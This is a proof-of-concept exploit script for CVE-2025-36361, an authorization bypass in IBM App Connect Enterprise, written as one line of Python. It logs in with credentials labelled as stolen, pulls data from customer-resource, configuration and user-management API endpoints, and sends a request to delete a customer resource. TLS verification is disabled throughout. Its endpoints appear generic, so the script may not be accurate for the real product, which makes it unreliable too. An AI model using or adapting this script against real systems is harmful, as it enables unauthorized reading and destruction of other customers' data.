CVE-2025-36361

# CVE-2025-36361 PoC - IBM App Connect Enterprise Authorization Bypass # This PoC demonstrates the authorization vulnerability # Requires valid authentication credentials import requests import json TARGET_URL = "https://target-ibm-app-connect:4443" USERNAME = "[email protected]" PASSWORD = "StolenPassword123" def exploit_authorization_bypass(): """ Demonstrates unauthorized access to customer-defined resources by exploiting missing authorization checks in IBM App Connect Enterprise """ # Step 1: Authenticate with valid credentials login_url = f"{TARGET_URL}/api/v1/auth/login" login_data = { "username": USERNAME, "password": PASSWORD } session = requests.Session() response = session.post(login_url, json=login_data, verify=False) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return None auth_token = response.json().get('token') print(f"[+] Authentication successful") # Step 2: Exploit missing authorization to access unauthorized resources # Target customer-defined resources without proper permission check target_endpoints = [ "/api/v1/customer-resources", "/api/v1/integration-flows", "/api/v1/configurations", "/api/v1/user-management" ] for endpoint in target_endpoints: headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # This request exploits missing authorization check exploit_url = f"{TARGET_URL}{endpoint}" response = session.get(exploit_url, headers=headers, verify=False) if response.status_code == 200: print(f"[+] Unauthorized access to {endpoint} - Data retrieved:") print(json.dumps(response.json(), indent=2)) elif response.status_code == 403: print(f"[-] Access denied to {endpoint}") else: print(f"[*] Unexpected response from {endpoint}: {response.status_code}") # Step 3: Attempt unauthorized modification modify_url = f"{TARGET_URL}/api/v1/customer-resources/modify" modify_data = { "resource_id": "target-resource-123", "action": "delete", "customer_data": "Sensitive Information" } response = session.post(modify_url, json=modify_data, headers=headers, verify=False) if response.status_code in [200, 201]: print("[+] Unauthorized modification successful - vulnerability confirmed") else: print(f"[-] Modification failed: {response.status_code}") if __name__ == "__main__": exploit_authorization_bypass()

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